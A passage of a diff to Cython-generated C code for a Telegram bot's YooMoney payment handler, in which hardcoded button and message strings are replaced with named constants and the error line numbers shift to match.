__Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 212, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_WebAppInfo); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_WebAppInfo); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 212, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 214, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_web_app, __pyx_t_11) < 0) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_web_app, __pyx_t_11) < 0) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 212, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_11); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_11)) __PYX_ERR(0, 212, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_11)) __PYX_ERR(0, 214, __pyx_L1_error); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 213, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 213, __pyx_L1_error) - __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_BACK); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 215, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyList_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __pyx_t_6 = PyList_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_10); - if (__Pyx_PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_10)) __PYX_ERR(0, 213, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_10)) __PYX_ERR(0, 215, __pyx_L1_error); __pyx_t_10 = 0; - __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 211, __pyx_L1_error) + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_6); - if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_6)) __PYX_ERR(0, 211, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error); __pyx_t_3 = 0; __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 211, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 210, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7381,53 +7395,41 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; __pyx_t_10 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 217, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_message)) __PYX_ERR(0, 217, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_message)) __PYX_ERR(0, 219, __pyx_L1_error); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = 0; - __pyx_t_8 = 127; - __Pyx_INCREF(__pyx_kp_u__9); - __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; - __pyx_t_7 += 25; - __Pyx_GIVEREF(__pyx_kp_u__9); - PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u__9); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_8; - __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_3); - PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); - __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__10); - __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; - __pyx_t_7 += 8; - __Pyx_GIVEREF(__pyx_kp_u__10); - PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u__10); - __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 219, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 219, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 221, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 219, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_r); @@ -7437,12 +7439,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L9_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 217, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 219, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 217, __pyx_L1_error) + else __PYX_ERR(0, 219, __pyx_L1_error) } } @@ -7450,7 +7452,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } /*else*/ { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -7467,15 +7469,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__19}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__13}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 226, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_r); @@ -7485,12 +7487,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_14generator4(__pyx_ __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 224, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 226, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 224, __pyx_L1_error) + else __PYX_ERR(0, 226, __pyx_L1_error) } } } @@ -8493,12 +8495,17 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_AMOUNT_TEXT, __pyx_k_AMOUNT_TEXT, sizeof(__pyx_k_AMOUNT_TEXT), 0, 0, 1, 1}, {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_BACK, __pyx_k_BACK, sizeof(__pyx_k_BACK), 0, 0, 1, 1}, + {&__pyx_n_s_CUSTOM_AMOUNT, __pyx_k_CUSTOM_AMOUNT, sizeof(__pyx_k_CUSTOM_AMOUNT), 0, 0, 1, 1}, + {&__pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_k_DEFAULT_PAYMENT_MESSAGE, sizeof(__pyx_k_DEFAULT_PAYMENT_MESSAGE), 0, 0, 1, 1}, + {&__pyx_n_s_ENTER_SUM, __pyx_k_ENTER_SUM, sizeof(__pyx_k_ENTER_SUM), 0, 0, 1, 1}, {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_PAY, __pyx_k_PAY, sizeof(__pyx_k_PAY), 0, 0, 1, 1}, {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, @@ -8513,21 +8520,15 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_YOOMONEY_ENABLE, __pyx_k_YOOMONEY_ENABLE, sizeof(__pyx_k_YOOMONEY_ENABLE), 0, 0, 1, 1}, {&__pyx_n_s_YOOMONEY_ID, __pyx_k_YOOMONEY_ID, sizeof(__pyx_k_YOOMONEY_ID), 0, 0, 1, 1}, {&__pyx_n_s_YOOMONEY_SECRET_KEY, __pyx_k_YOOMONEY_SECRET_KEY, sizeof(__pyx_k_YOOMONEY_SECRET_KEY), 0, 0, 1, 1}, - {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_n_s__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 0, 1, 1}, {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, - {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, - {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, - {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, - {&__pyx_n_s__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 0, 1, 1}, - {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, - {&__pyx_n_s__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 0, 1, 1}, - {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_n_s__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 0, 1, 1}, {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, - {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, - {&__pyx_n_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 1}, + {&__pyx_n_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 1}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, @@ -8579,9 +8580,11 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_yoomoney_pay, __pyx_k_handlers_payments_yoomoney_pay, sizeof(__pyx_k_handlers_payments_yoomoney_pay), 0, 0, 1, 1}, @@ -8677,8 +8680,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 59, __pyx_L1_error) - __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 116, __pyx_L1_error) + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 61, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 118, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -8689,37 +8692,37 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 108, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__7); - __Pyx_GIVEREF(__pyx_tuple__7); + __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__5); + __Pyx_GIVEREF(__pyx_tuple__5); - __pyx_tuple__22 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__22); - __Pyx_GIVEREF(__pyx_tuple__22); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__22, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_callback_pay_yoomoney, 40, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_tuple__16 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__16); + __Pyx_GIVEREF(__pyx_tuple__16); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__16, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_callback_pay_yoomoney, 42, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 42, __pyx_L1_error) - __pyx_tuple__23 = PyTuple_Pack(1, __pyx_n_u_yoomoney_amount); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__23); - __Pyx_GIVEREF(__pyx_tuple__23); - __pyx_tuple__24 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__24); - __Pyx_GIVEREF(__pyx_tuple__24); - __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__24, 